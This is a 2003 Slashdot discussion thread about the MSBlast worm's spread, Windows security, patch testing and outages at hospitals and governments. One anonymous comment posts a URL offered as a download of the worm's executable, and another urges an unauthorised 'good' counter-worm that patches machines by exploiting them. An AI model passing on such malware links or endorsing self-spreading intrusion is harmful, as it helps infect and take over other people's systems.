We IT gnomes have other things to do than patch and patch and patch and patch. We can't trust Windows Update to even correctly report the status of the application of a patch. We have users screaming for new installations, new hardware, new software, new networks, wireless, email, etc. Staffing doesn't get determined by workload. Not in my world.

Guess I'm lucky....

[Soko]

I recently took a contract job to bring the IT operations of a local, growing business from a mom & pop deal to a more enterprise ready footing.

I have about 25 XP/98 machines to look after, but only 2 of them laptops (3 if I count my own). First thing I did when I was hired was grab both of the laptops and patch the hell out of them. Next was the 2K server, and lastly today I spent the whole day running around updating everything I could on the rest of the desktops. No programs got hosed in the update process either, which was a relief. We're behind a small NAT engine too, so I feel rather confident that we'll weather the storm.

My point is that businesses such as my current customer have no clue that an operating system (indeed, almost any program as well) needs to be taken care of. This is the issue that will keep biting Microsoft in the ass - until they make it plain as day that "You need to do regualar maintenance to our products" people will run with security holes. If they can't see that it's broken, why would they fix it?

Another point - I'm looking into SUS so I don't have to worry nearly as much (or spend so much time waiting for WindowsUpdate) but I'll need another server to use it. The lone server my customer has is almost over loaded at the moment, runing SBS with 256M of RAM. SUS requires 2k Server or above to run - why, I don't know. Just like Microsoft to turn a problem they've created into a marketing opportunity. No wonder they're having trouble stemming the Linux tide.

Soko

I find the quality of this article lacking...

[RALE007]

"It's likely that people who have not turned on their computers yet will discover that they have already been infected if they do not have the Microsoft patch, a firewall of some sort or anti- virus program installed,"

How could one already be infected if their computer hasn't been running? Maybe he's implying "as soon as you turn on your computer you'll be infected", I don't know.

Millions of unprotected personal computers remain vulnerable to the worm, which can infect any machine connected to the Internet, experts said Tuesday.

Really? I thought it was only Win2k, XP, and 03, not every computer on the planet. But experts said so, so I guess it must be true.

The worm attacks computers through a flaw in the part of Windows that allows computers to share files and control Inter net traffic. Four versions of Windows operating systems are targeted: Windows NT, Windows 2000, Windows XP and Windows Server 2003.

Oh you are aware it doesn't affect every computer on the planet. That's good because five paragraphs before you said it did and now you're contradicting yourself. Wonderful

"This is certainly a capable person who did this," Sundwall said. "In most cases, it takes about six to nine months for a worm to appear after a patch is released. This is certainly something that did occur quicker than we are accustomed to."

Because it is just so hard to create a self replicating buffer overflow program. It's not like this is down to a science. The statement implies a team of developers would have to sit down for a year to create something this "sophisticated". It couldn't be that MS products are inherently insecure and easily exploitable. There are thousands if not millions of people "capable" of this, just not immature enough.

You'll notice some of my excerpts are quotes from within the article, and not necessarily the words of the author. The author still choose to include this malformed crap.

I would recommend seeing this older Slashdot article concerning the worm or going to google to find better written information on the matter. The facts within the new article are interesting, but so blatantly misrepresented it's annoying and I would view an alternative source.

FUD

[batkins]

Look! The virus is spreading Windows FUD!

DO blame MS!

[JimmytheGeek]

Until they can release an OS that goes a couple of weeks between major vulnerability discoveries, they're fucked! And so are you. Don't you think IT staffs have other responsibilities? Do you realize how many updates there have been this year? How many of them require a reboot?

That's an easy question to answer.

The more interesting question is how many of them would not be required if they had implemented a sensible architecture, if they hadn't bolted on a bunch of crap to advance the monopoly into the internet, etc. Then we could hope for a massive improvement in code quality. My impression is that a bunch of this was avoidable, but for lazy and incompetent product managers and programmers, and perverse design goals intended to hurt competitors no matter what collateral damage to consumers.

Re:DO blame MS!

[TrancePhreak]

You say it's an easy question to answer, yet you do not answer it.
There are some portions of other OS's that are updated dayly as new bugs/vulnerabilities are found.

Re:DO blame MS!

[Cyno]

Oh come on, Microsoft isn't that bad. They really do like their competitors, even though its hard for them to show it sometimes. Really. Give them another chance. I mean, its Microsoft. They love us. ;)

What should I use?

[roystgnr]

No, really. List your choice of replacement system and give a thorough list of past remote exploits for it before you bash Microsoft.

Microsoft actually seems to be getting better about security. They still have holes that you have to patch, but so does everybody. Here's a list of the security updates for my OS distribution of choice, for instance:

Red Hat Linux 9 Security Advisories

Most of these aren't as bad as the recent Windows hole (and many aren't in software that even has an equivalent included with Windows), but there have been a lot of them recently, and they're not Red Hat specific problems either.

Re:What should I use?

[Anonymous Coward]

Yet another clueless person who doesn't realise that WinXP doesn't come with many applications, therefore decreasing the risk of bugs in code. Your average Linux distro comes with hundreds of pieces of software.

Re:What should I use?

[Anonymous Coward]

Dozens of text editors; twenty-four different graphical front ends to MP3/CD players; XV, Xfig and The Gimp for image manipulation, and 237 different perl plug-in modules for the Apache web server. One hundred and fourty-seven logfile parsers. To say nothing for all the emacs lisp programs, duplicated for both GNU Emacs and Xemacs.

Yep. Hundreds and hundreds of pieces of software. Heh.

Re:What should I use?

[A.Gideon]

It's still an interesting point. Given the number of different systems - even if there's duplication of tasks accomplished - one would expect a much higher exploit rate. Normally, this argument is made as to why MSFT products - with all their bundling - have so many problems. But while Linux itself is cleaner than MSFT environments, the distributions ship a lot more than just the OS.

And what's wrong with that duplication anyway? We often call that "choice". This may be a foreign concept in many cultures and computing platforms, but some of us relish such arcane concepts.

Re:What should I use?

[pmz]

Microsoft actually seems to be getting better about security.

Microsoft's feet are already so full of lead from past bad decision making, that it will take them years to recover. I always figured that Windows was around 50 million LOC or so, but someone mentioned 100 million for Windows 2000 (holy shit that's a lot of code, either way). Now, I challenge any group of any size to debug the massive pile of poo that must be within that millions of LOC. Hell, I don't even have to deal with 100 thousand lines, and debugging is hard.

My theory: Fixing Windows is not possible. My suggestion for a Microsoft customer: send some of your admins to UNIX training, have them figure out OpenBSD, and migrate to an OpenBSD-based network infrastructure with UNIX and Linux for general-purpose servers. Use Samba for serving remaining Windows clients. No matter what, Windows should be kept only as a client system; it should never be used on a server.

Re: Thanks for nothing.

[Black Parrot]

> > When they find the Linux users who did this I hope they lock them up and throw away the key.

> So all someone has to do is dislike Gates and Microsoft, write an Windows virus, and they are automatically considered a Linux user? Cool.

So that's why the media is reporting Linux usage is up! I thought there were actually more people using it.

When we hear about all those cities and countries considering a switch to Linux, are they actually just considering switching all their jobs over to "Windows virus writer"?

Saving money isn't the point

[mgkimsal2]

Saving money shouldn't be the primary focus of adopting public-license software, at least not for governments. They have an obligation to keep public data public, in the strongest sense of the word, and by forcing people to use vendor-specific products to interact with public data, they're sacrificing accessibility for expediency.

Certainly adopting handicapped accessibility laws requiring building construction costs in most government buildings didn't 'save' any money. They passed that because there was a moral, if not legal, obligation to provide access, mostly irrespective of cost.

Thanks, Microsoft!-Learn it! Live it! Love it!

[Anonymous Coward]

That and security is a process, not a bandaid..

DOWNLOAD WORM HERE

[Anonymous Coward]

www.unixwiz.net/misc/msblast.exe

In this age

[Bruha]

Viruses are no longer spread by floppy disks but instead come into your computers.

Phily may blame Symantec for the virus but are they truely responsible? I doubt it. More the blame should be pointed to their cheif of IT for allowing those specific ports to be open.

Any IT cheif worth his money would know the advantage of having all outside network facing machines not run any MicroSoft OS and instead rely on Linux to handle those functions thus providing a barrier beyond the firewalls to keep viruses out. In today's age it's just not a good idea to have any MicroSoft equipment as any network edge service.

Also it's obvious that the line by line review of the OS code has done nothing to alleviate these problems. This is the 3rd virus in the last 2 weeks to hit Windows and many times the AV companies take upwards of 24 hours to produce new definitions to block the viruses themselves.

Re:In this age

[Robert The Coward]

Big Flaw in your design. It's this things called laptop's. Someone takes one home then connects it to his Cable Modem/DSL connection gets infected and bring that back into you nicely firewalled network and bam your entire network is crashing hard.

Virus taking out government computers?

[EGSonikku]

It's SkyNet! SkyNet is the virus!

*makes some popcorn and waits for the nukes.

Re:Virus taking out government computers?

[LittleGuy]

Then we should counteract it with an Apple-OS-Based Trojan/Worm to blow up the mothership.

British Columbia banking is screwing up now!

[ratfynk]

The debit machines in British Columbia are screwing up big time right now August 12. A Safeway employee told me it is because of server outages. Boy this is starting to cost big dollars. At least ./ still runs. You guys cash my check? At least I can still rant on line.

Re:British Columbia banking is screwing up now!

[helmutjd]

This is apparently totally unrelated to the worm - I didn't get many details, but apparently a fiber line got trashed somewhere and it's brought down a ton of BC's ATM's.

Re:British Columbia banking is screwing up now!

[ratfynk]

Thats good that means that the majority of the banks are not running win servers!

Re:British Columbia banking is screwing up now!

[sharkey]

You guys cash my check?

I'd love to. Just write "pay to the order of sharkey" on the back, and sign it. Send it over and I'll handle the rest.

MOD PARENT UP

[Anonymous Coward]

MOD PARENT UP

Re:MOD PARENT UP

[westyvw]

Thanks. I f-d up the first link without looking at it. I hope someone does mod this up it is very interesting.

WMW: Whatever McDonald's Worker!

[Anonymous Coward]

You really think things would be different if Linux ruled the roost? What was it that really made the worm possible? The ability of Microsoft's programers, or the apathy of their users? Like the later doesn't exist in linux space as it is, and like the apathetic people would suddenly become attentive with the fresh ground scent of linux lingering in the air.

The bitch who wrote the worm and all the little bitches who spout off the same drivvel in a non-destructive manner, are just as guilty as Microsofts apathetic users. They didn't think things through either. And so are equally deserving of serving as slave labor in the insect overlords sugar mines.

Much like everything else, too much of anything isn't good. Just as a homogeneous population of anything is vulnerable to having a significant presure, such as a virus, bacteria, or in this case worm, bring it to the precipice of disaster so it is with a near homogeneous population of software.

Or maybe you were just whoring karma?! In which case, you gotta get in on that early, as it goes pretty quickly.

That's a scary thought !

[JimmytheGeek]

The windows world isn't even close to handling a whole class of vulnerabilities - services running with inappropriate priviledge. Ouch! No chrooting, priviledge separation, etc.

It's amazing how little they seem to learn from better OS's. That and your point reminds me of a sig I saw a little while ago: "If I am near-sighted, it's because I stand on the shoulders of midgets."

Re:That's a scary thought !

[Alien Being]

"It's amazing how little they seem to learn from better OS's. "

That's so true, especially in light of the fact that they hired Dave Cutler to design NT for them. Oh well, Dave was probably too busy losing auto races and Gates was too busy committing anti-trust crimes to really care about the people who use the product.

Re:That's a scary thought !

[Lost Race]

"If I am near-sighted, it's because I stand on the shoulders of midgets."

The better sig is: "If I haven't seen further, it is by standing in the footprints of giants." (Ketil Malde, comp.arch)

Re:That's a scary thought !

[Froqen]

>The windows world isn't even close to handling
>a whole class of vulnerabilities - services >running with inappropriate priviledge. Ouch! No
>chrooting, priviledge separation, etc.

Actually win2k3 has done a bunch of work on running with least privlege. The first was the creation of the Local Service and Network Service accounts that remove a number of privledges that most services didn't need when running as Local System. There are a number of services that got changed from Local System to the new accounts.

Also chrooting is more of a way to work around the limited owner/group/other style of premissions. A number of the defaults (better in win2k3) ACLs are pretty decent in that regard. The closest you get to chroot in windows is to use the Restricted Token. You can play with the restricted token (in XP and up) is by opening a command shell with runas and use the Current user -> "Protect my computer and data from unauthorized program activity" option.

Wrong on all counts

[freeweed]

Windows *is* fundamentally insecure, and much more so than Linux. If you don't see this you know very little about computer security.

It has nothing to do with 90%, it has nothing to do with people not patching because they are technically incompetent, IT IS BECAUSE WINDOWS BY DEFAULT RUNS A SHITLOAD OF NETWORK SERVICES AND DOESN'T FIREWALL ANYTHING.

In case you didn't catch that, let me repeat:

IT IS BECAUSE WINDOWS BY DEFAULT RUNS A SHITLOAD OF SERVICES AND DOESN'T FIREWALL ANYTHING.

Run a netstat on a default XP install, and count the open ports. Now do the same on a default Linux (RedHat/Mandrake/Deb/you name it) install and count the open ports. You'll notice a 2:1, 3:1, as high as 10:1 ratio, Windows:Linux. Ok, so by default Windows has many more open doors. Huh, wonder why it gets exploited so often.

Unfortunately, that's not the end of it. Most Linux distros I've seen (fellow slashdotters correct me on this stuff) are now using IPtables by default, with at least a level of security that blocks incoming connections to almost everything. All you have to do in some is select 'high' security, and bang, almost nothing gets through.

Windows by default has no firewall enabled. In fact, you can't do *anything* with pre-XP Windows. Linux has had built-in firewalling for years and years and years...

This is all bad, but it gets worse. The latest worm attacks the RPC service in Windows. Now, logically, you'd think you could shut off an RPC service, if you're never making/receiving REMOTE PROCEDURE CALLS. Nope, the OS breaks pretty nastily if you do that.

I have yet to see a single example of a listening service on a Linux box that cannot be disabled without wrecking the OS itself.

This has nothing to do with patches, volume, or the price of tea in China. Windows simply uses a poor security model, one based more around convenience than intelligence.

I really don't get the massive amount of Windows apologists on Slashdot, either. I personally love Windows for what it's good for, but a simple 5 minutes research into TCP/IP will show anyone just how poor the security model is in Windows. Yet you're modded up with 100% complete nonsense.

Re:Wrong on all counts

[nebby]

What the default enabled services have to do with the windows security model is beyond me. Windows is not fundamentally insecure, as I said, it's default installation parameters may put it into a state which sacrifices convenience (people actually USE a lot of those services) for potential attack, as you said, but that doesn't mean there is some inherent flaw in the way windows operates (lacking in linux) that somehow makes it more exploitable.

The best point you make is that if disabling RPC screws up local stuff then that's bad, but I haven't verified that myself.

People here would have you believe that if you opened up all your ports on Linux and the same ports on Windows and exposed Linux to 90% of the world it would somehow avoid being ravaged by viruses as Windows is because it's superior in some mystical, undefinable sense.

Re:Wrong on all counts

[freeweed]

It's not mystical, and it's certainly not undefined.

The fact that those ports are open by default is why it's insecure. The fact that you cannot close them without essentially toasting your system is why it's *really* insecure. This is the 'inherent flaw in the way windows operates (lacking in linux)'. At least, lacking in most modern Linux distros I've ever seen.

If you're talking only about the kernel, or say the tcp/ip stack, you're right: there is nothing inherently insecure about Windows. Too bad you can't just install a kernel by itself.

As a liscensed MD resident...

[Foxxz]

I'd like to take this chance to show the MVA and the slashdot crowd the status of my carefuel
E\....F

there you have it

-foxxz

Our Goverrnment

[baggins2001]

And exactly how much did our government recently pay for MS software to be used for homeland security.

Vunerable Systems

[Plissken]

Windows XP, and XP SP1 are vunerable. Windows 2000 SP3, and SP4 are vunerable.

I have a copmuter running Windows 2000 as a router (no flames... please), with no Service Packs installed. My router has direct internet access. It has NOT been hit.

The theory that for every bug MS fixes, they add 2, is true.

Re:Vunerable Systems

[Plissken]

I forgot to mention, any version of 2003 is vunerable to this.

Re:Thanks for nothing.

[freeweed]

Wouldn't they have to use Windows in order to test their virus as they develop it? :)

FOR PETE'S SAKE STOP THE INSANITY!!!!!

[holy_smoke]

Is it really fair that literally millions of $'s of business and government money and hundreds of man-hours of time must be lost due to Windows worms and virii??

Shouldn't MS be held accountable in some form or fashion for these costs?

This is utter madness!!

I like the text in the worm though (from the symantec site) "I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!" LOL.

Well Bill? What say you? Can I call you when my father-in-law calls me all confused (again) because he has "this windas erra that won't let me work on my files". Grrrrrrr.

I SAY WE FORCE MICROSOFT TO CREATE AND MAINTAIN ANTI-VIRUS SOFTWARE AND HOLD THEM ACCOUNTABLE FOR MISTAKES. Oh wait...*slaps forehead* that's not a good idea either.

Re:FOR PETE'S SAKE STOP THE INSANITY!!!!!

[Meorah]

cute text message... outdated, since the vulnerability is fixed, but still cute.

why don't you tell your father-in-law that windoze suxorz and that if he's too much of a noob to use linux, you won't help him anymore?

as for costs, call it a tax on the stupid, the inept, and/or the unprepared.

Yeah, since Linux is 100% bug free right?

[Anonymous Coward]

Yeah, since Linux is 100% bug free, and Microsoft didn't release a patch for this exploit already.

Oops, both of the above ideas are FALSE.

Hey hopefully Md will switch to Linux, and the same Admins who didn't patch the Windows bug won't patch the next Linux bug either, and they'll go down again! *omg*!

Re:Yeah, since Linux is 100% bug free right?

[unclethursday]

It's true Linux isn't 100% bug free (nothing is), but Linux and all the other Unix-alikes are more secure, by default, than Windows is by default.

Microsoft often releases patches for these types of worms and viruses, but the problem becomes that sometimes their patches end up breaking a hell of a lot more than they fix.

Companies, and government institutions cannot just patch and go. They have to test the patches on an isolated computer to ensure that EVERY SINGLE program they need to use is not affected adversly by the patches. Any idea how many MS patches for Windows alone are out there? It's a wonder IT people at companies/government are even half as caught up as they are.

Just imagine if your health insurance provider's IT supervisor just went and patched every time without testing; and one day the program they use to keep things up to date won't work because of a MS patch that broke it. Suddenly you're without health insurance. God help you if you get hurt in the time it takes for them to figure out what broke the program and try and fix it.

That's why it doesn't matter that MS releases these patches. Sometimes they fuck up a lot more than they fix, and companies and government institutions simply cannot take the risk of installing every single security patch from MS (often released weekly) because of this.

Thursdae

Re:Yeah, since Linux is 100% bug free right?

[Anonymous Coward]

What about IAS? By default, that's pretty freaking secure.

Re:Yeah, since Linux is 100% bug free right?

[FrozedSolid]

True story,

I was interning in a mid-sized business in NYC, they run NT4/2000 exclusively. I was in charge of all of the gopher jobs, patching machines, maintaining small VB apps, etc. When people starting making a big deal about the RPC flaw, the sysadmin decided he was going to patch all of the machines, just to be safe. Easy for him to say, since he didn't have to do it.

It was pointless. The machines were firewalled off and there was only 1 guy with a laptop. But I wasn't the sysadmin. I was but a lowly gopher. I had no problem with the windows 2000 machines. The NT4 machines, were another story. They hadn't been patched above SP6a, and many had been under heavy use for a undefined length of years.

Out of the maybe... 30-40 machines I patched, I remember 2 severe issues.

After installing the Critical Updates Package on one machine, explorer crashed every time the user logged in. The sysadmin was forced to downgrade the machine back to IE5.0 and remove a few Critical Updates.

After installing the July 2001 Culmulative Security patch, one machine failed to boot. Some error about one of those NT* files failing to load, IIRC. The sysadmin had to recover the important stuff, and ghost his hard drive.

2 out of 35ish may seem like a small margin of error, but the sysadmin told me that he had once worked at a very large company that deployed updates via group policy and rendered every machine in the entire business useless.

Beware the updates.

Re:Yeah, since Linux is 100% bug free right?

[HiggsBison]

Companies, and government institutions cannot just patch and go.

Why not? A few years ago the customer information on my electric bill changed suddenly. The address was correct, but in the style of my previous address instead. My phone number jumped back 3 years and 2 addresses. A big company or utility would never do anything disastrous, would they?

Probably.

[Perianwyr Stormcrow]

Not everyone can afford real IT staff, and for that matter not everyone ought to have it.

Re:Probably.

[IM6100]

It's really sad how some people consider an IT Staff to be a mandatory requirement. Part of the whole thrust of 'personal computing' and a big part of the popularity of PCs when they first came out is that the goons from the computer room weren't breathing down your neck and f*cking with your productivity. It's not unusual for 'mere users' to view IT staffs as a sort of protection racket. "Better hire a sysadmin or baaaad things will happen."

There's a snide sort of 'told you so' mentality in geek forums. Could it be all the unemployed IT people resent their lack of work?

The fact of the matter is, with a reasonable amount of eduction, and the auto-update features that more than a few people have brought up here, no Windows machine should be vulnerable. Small companies with 5-7 people on staff do NOT need a topheavy bombastic IT duff. The toner cartridge doesn't need changing that often and people can put new paper in the printer on their own.

Actually, our hospital was hit pretty bad today

[PIPBoy3000]

I work for a healthcare organization and it was indeed pretty bad. Our desktop folks had gotten behind on their testing of security patches, so many of our systems were unpatched. All it took was one connected clinic to start it off and pretty soon routers started shutting down due to the huge network traffic as the worm spread.

It was pretty freaky. My coworker was patching systems in the Emergency Department as patients started getting some long wait times. Downtime measures tend to be slow in comparison to what people are used to.

More info

[Jade E. 2]

Yeah, yeah, it's bad form to reply to yourself. But I'm leaving for the night so I figured I'd post a few more details I remember in case it helps anybody else.

If the worm we got autostarts anything, it uses one of the sneakier methods. I didn't check the ini files, but I did check out both run and both runonce keys and there was nothing unexpected in any of them. File sizes and dates on the files that were there matched a clean system (although that's not a guarantee, I didn't run checksums). The damage to explorer, IE, and Word did survive a reboot, however, so it modifies something on the system. We had the system up for the better part of an hour on the network, watching ethereal on the switch's mirror port, and didn't see any strange traffic, so I don't know what triggers it's spread. The dial-in client that was one of the original vectors had been connected for something like 8 hours when it started scanning, and we are it's internet access so it couldn't have been (easily) infected from outside today without us seeing it (we were monitoring after central's exchange server went boom), so I strongly suspect it's got a timer or trigger to start scanning. (Maybe idle time? It started roughly half an hour after they closed for the night, hence us kicking them off and revoking their dial-in privliges instead of just calling them.) I didn't catch any actual infections in the packet dumps, only scans after the vulnerable machines had already been hit, so I don't have a network dump, but I'll hook an infected machine to the test network in the morning and try to get one. If I can talk the manager into leaving me alone for long enough I'll try to get it to infect a dummy machine I've imaged and see exactly what changes it makes. Anyways, good luck to anyone still playing with these things.

Re:More info

[loraksus]

fyi, fully patched clients crashed occasionally from msblast attacks.
Seriously, MS - or someone else should take control, use the exploit for "good".
Instead of spreading a destructive payload, patching the flaws. Perhaps set something in the registry / create an empty file which would act as a "do not patch" flag, but the next time a serious (you know, root and stuff) exploit is released, release a counter exploit.

(of course, have a keep alive, in order to propagate to other clients, but once it's subnet, etc, is healed, it self terminates)

Unethical? I mean, come on. It is unethical to leave these machines infected on the net - I still get code red hits. . .
Anyways. . .

Re:More info

[Anonymous Coward]

Are you sure these machines are infected?

Win2k machines do not reboot when unsuccessfully attacked.

When you are attacked by MSblast it uses 1 of 2 exploits randomly. One targets Win2k and the other XP. A win2k machine attacked with the XP exploit is not infected but RPC does crash. This causes all the symptoms you are seeing with the clipboard etc.

When an XP machine is attacked by the win2k exploit RPC crashes and the machine reboots.

You might find that's why the machines behave wierdly but exhibit no signs of infection.

Re:More info

[crizh]

Are you sure these machines are infected?

Win2k machines do not reboot when unsuccessfully attacked.

When you are attacked by MSblast it uses 1 of 2 exploits randomly. One targets Win2k and the other XP. A win2k machine attacked with the XP exploit is not infected but RPC does crash. This causes all the symptoms you are seeing with the clipboard etc.

When an XP machine is attacked by the win2k exploit RPC crashes and the machine reboots.

You might find that's why the machines behave wierdly but exhibit no signs of infection.

Re:More info

[crizh]

well that was a bloody waste of time posting AC. Lost all the mods I'd done AND couldn't see the fricking comment 'cos it started at zero. Bloody Slashcode

further moaning: If you've moderated a thread and then post in it as AC it posts the comment and removes all your mods anyway, but if you just post as yourself it stops you and warns you that all your mods will be lost. Bast*rd!

AAAAARRRRRRRGGGGGGGGHHHHHHHH!!!!!!!!

Now I have to wait 2 minutes before I can post.....

Double Bast*rd!!!

Re:More info

[CKW]

Hi Jade,

My Win2K Pro home PC had EXACTLY the same symptoms starting late last week.

I applied SP4, did Windows Update, did a memtest86, uninstalled a few new apps. Then while I was sitting there thinking, my registry monitor utility started blaring. Odd, I wasn't installing/uninstalling anything, it shouldn't have been complaining. It was msblast.exe being added to the Run registry entry. At which point I found out about the msblast virus, and noticed the 20 port 135 connections to the net every second.

So I killed the msblast process and installed the patch (twice, just to be sure) and removed the registry entry.

No more RPC service crashes, back nice and stable.

The issue is that apparently, sometimes for certain systems, the buffer overflow fails. Instead of the overflow causing the appropriate arbitrary code to be executed, it would simply crash one of the RPC services. So you wouldn't have msblast.exe per se, but you would have system problems from the malformed port 135 connections to your system, the *attempts* to infect you.

So the question is, what circumstances would cause you to not be protected, but still suffer non-exploitable buffer overflows.

My guess is a bad microsoft "fix" for the problem in an earlier MSUpdate or something.

Virus?

[Flakeloaf]

No problem, Sir. We'll just switch our AI on and squash this thing. Skynet is ready to go live.

Provincial Government of Ontario hit hard too

[The1Genius]

Extensive hits to e-mail, web and database systems throughout many ministries in Ontario.

I thought it was interesting that a member of the Justice system in Ontario was complaining that 'Microsoft is not providing the proper tools to properly manage an enterprise with 1000 servers spread throughout the province and ensure that patches and service packs are kept up to date. The cost of maintaining these manually is too high'

To which I asked 'How much is it costing you to scramble and fix this problem now?'

Enterprises either need to bear the cost of a 3rd party tool to maintain patches through the enterprise or find the money and resources to keep things up to date properly on an ongoing basis. Otherwise, they will find it costs 2-3 times that amount of money to respond to patching and cleaning large pools of servers in this type of worm situation.

Testing takes time

[PIPBoy3000]

One of the issues we face is that every single security patch needs to be tested against a huge array of applications installed on our desktop systems. While it's a simple rule to always update Windows to the latest patch, it can be troublesome when mission critical applications fail as a result. And when you're in the healthcare business, failure is not an option.

Re:Testing takes time

[AKnightCowboy]

While it's a simple rule to always update Windows to the latest patch, it can be troublesome when mission critical applications fail as a result. And when you're in the healthcare business, failure is not an option.

We weren't infected and I'm certain our system aren't patched. A simple firewall would have prevented all these problems. It's amazing how many people rely on host-based security alone to protect their systems on the Internet apparently. Microsoft file sharing and RPC services should never be open to the Internet for any reason. If you need to do it between offices then fine, that's bad, but an acceptable risk. Otherwise firewall it off to everyone else.

when..

[Anonymous Coward]

when will the government sue microsoft over this? when can we get a class action suit, against microsoft over this? in the end, someone is going to try to do it, with some angle.. but really, is it even possible? all win installations need you to agree to the EULA, so really there HAS to be something in there preventing you from suing for damages, no?

Re:when..

[Meorah]

when hell freezes over; when I can sue a car manufacturer for being late to work because I didn't buy gas; no; probably, but I've never wasted my time reading the EULA.

...respectively.

good lord

[Anonymous Coward]

why the hell would you use windows when lives are at stake? That IS criminal negligence. I'm NOT kidding. This ISN'T FUD. Viruses like this are PROOF that running microsoft when lives are at stake is a bad idea. Could you imagine if ATC ran on windows 2000? I want to know EXACTLY what hospitals you have windows servers in so I NEVER end up DEAD there.

Re:good lord

[Anonymous Coward]

Wow. I was wondering, when you talk out of your ass like that, can you do different voices, or impressions? I know one guy who make it sound like a trumpet. (He can't play any songs though ):) Hey, what about bird calls? Shirly, if you ass can post on slashdot, it can do bird calls!

Re:good lord

[Elbereth]

I like that. I shall use it in the future. Thank you for enriching my insult dictionary.

The patch isn't that great to begin with

[broken.data]

One of the reasons that this patch may not be installed everywhere, besides the obviously long QA side of testing patches before deployment (I was burned by SP3 and a Promise IDE controller) is that it is pretty far reaching. Any game house or animation company for games like Quake or UnrealTournament2003 will probably not have applied this patch. Reason: It made it so they could not open any of the files made in gmax

Re:The patch isn't that great to begin with

[Meorah]

Any game house or animation company for games like Quake or UnrealTournament2003 will probably not have applied this patch. Reason: It made it so they could not open any of the files made in gmax

computer reboots every 5 minutes....

can't open any files made in gmax....

computer reboots every 5 minutes....

can't open any files made in gmax....

call me crazy, but I uninstall gmax and patch the computer. that, or get the early fix and keep gmax running while not worrying about the evil worm.

Re:The patch isn't that great to begin with

[broken.data]

The problem though.. why the f**k should an RPC patch affect whether or not I can open a .gmax file?

And this does not only affect this patch, but if you had installed SP4 the same thing happens. Its like my PDF files getting flucked because I got the new DirectX 9.0b.

Hmm.. patch and can't work. Don't patch and can't work. Crap.

And yeah, I just made a midnite run to a client site because mail/website/firewall were not responding. My OpenBSD firewall was tighter than a dolphins' ass. It was the whole damn Internet rebooting. ISP went up in flames.

Re:The patch isn't that great to begin with

[Dahan]

The problem though.. why the f**k should an RPC patch affect whether or not I can open a .gmax file?

That's a good question... for Discreet. They say, "As a result, all .gmax files saved with the Windows Hotfix 823980 installed will no longer load in gmax on systems without the fix," implying that systems that do have the hotfix installed will load the files. Perhaps they're saving the contents of some opaque Windows data structure into .gmax files, hoping that MS will never change the format that structure (my guess is something OLE-related). Bad idea--stick to structs exposed as part of the API.

Re:The patch isn't that great to begin with

[broken.data]

You are correct in that regards. It is specifically Ole32.dll, Rpcrt4.dll and Rpcss.dll that are causing the problems. (Q824136 is regarded as a Windows Explorer Access Violation).

I Don't Disagree

[Farley Mullet]

But then the issue is one of resources, pure and simple. So when government agencies and public institutions (like my buddy's university) have their networks go down, this is a direct result of underfunding. And underfunding is your tax cuts at work (your jurisdictional mileage may vary).

The other issue at work here has to do with the fact that with lots of worms and trojans, an unpatched or infected box on one network can cause major headaches for all sorts of other networks. And this raises two interesting, related issues: first, can the owner or admin of some unpatched system be held civilly liable for negligence if it is infected and used by a worm or trojan that damages other networks, and secondly, will governments start regulating or setting standards for internet-connected servers, to protect the viability of the network as a whole. Regulations or standards might not be such a bad thing either, because they'd act as a shield from litigation, insofar as any company that followed the guidelines could probably claim that they'd practiced due diligence, or weren't negligent, or whatever (IANAL, can ya guess?). It seems vaguely analogous to environmental regulation, in that if you're going to put your mill by the river, it better not muck the river up for other users.

come on... SECURITY!!!!!!

[xferboy]

This all boggles my mind. Yes there are security risks involved with any product that features to make life easier (the more security something has the less 'user friendly' it is), but do they just have servers/multi-homed machines sitting on a live, unfirewalled connection and on thier internal network as well???? or (even worse) are these machines firewalled and have port 4444 open????

and for the CEO that bought the virus in on his machine (forget where that was mentioned) his IT guys should be shot for allowing a machine that has obviously travels from work (should be secure) to his home DSL/cable connection to not have any sort of virus protection on it (or at lease not having it scheduled to update often)

when I was asked about if we were at risk because of this at work I had to laugh, as none of these port would even be considered to be opened, especially 4444 inbound!!!!

sure these virus exploit holes in OS security, but they should have been covered off by network security!!!

just my 0.02 cent candaian =~$0.013 USD

Query

[Anonymous Coward]

Black Ice Defender
Zone Alarm

Oh you mean why didn't they bundle a free one?

Well since Microsoft tweaked free code bought and paid for by taxpayers and gave it back to their customers for free, and then found out that was illegal, I'm not so sure they'd be so quick to so flagrently dare the states to sue them again.

Probably why the XP personal firewall is so limited. But there's always IAS!

Re:Query

[__aavhli5779]

It wasn't illegal.

Under the terms of the BSD license (Microsoft got much of their networking stack from BSD), you are obligated to do only two things:

* Give me credit
* Don't sue me

Aside from that, it's entirely up to you what you do with the code. It does not come with the restrictions requiring source distribution that the GPL does.

Philadelphia federal courts, too

[Anonymous Coward]

A friend in the 3rd Circuit Federal Appeals Court -- located in downtown Philadelphia -- faced an outage this morning. No computers for an hour and a half (at least).

Here's to you, Virus infected Windows Admin Guy?

[LibertineR]

Sweet. It should be done!!

Take a company like JetBlue. 100% Windows-based airline. They never have a problem, because their people know what they are doing. There are thousands of other companies with good people, but even more that are just lucky, and on the road to disaster.

It should be written into every IT person's job offer, that if the Windows network brings down a company because of a virus, they can expect immediate termination.

Re:Thanks for nothing.

[HermanAB]

No, you can test Windows viruses using CxOffice, Wine or Win4Lin...

Fortunately for me, Win4Lin only works with Win98/ME which doesn't have this RPC bug.

A What?

[Ridgelift]

Zzzzz...nnngg...huh? wh...What? A virus?

Oh, never mind. I switched all of our company's systems over to Linux months ago. I can rest in the fact that the world around me may be burning down from another brain dead defect in Microsoft's crap code, but I am blissfully unaffected because Linux is secure.

Yeah, that's right, secure. For those of you who say Linux is just as bad as Windows, you keep telling yourself that tonight when you're up patching systems.

(sigh) Hmm. I wonder what's on TV tonight?

Comment removed

[account_deleted]

Comment removed based on user account deletion

Re:Thanks for nothing.

[Gherald]

Wouldn't they have to use Windows in order to test their virus as they develop it?

Nah, the WINE project is becomming such an accurate implementation that you can actually develop viruses under it ;)

new comp infected within 3 minutes of first boot

[Anonymous Coward]

I was setting up a new computer today running Windows XP and within 3 minutes of the first boot, the computer was infected. I wasn't even able to download the updates before the worm found this machine. So my question is, why are machines still being shipped with vulnerable versions of Windows XP? If it is too expensive to redo the drive, at least include a cd-rom (that costs $0.00001) that has the updates on it.

Glad to see that most /.ers

[MagicBox]

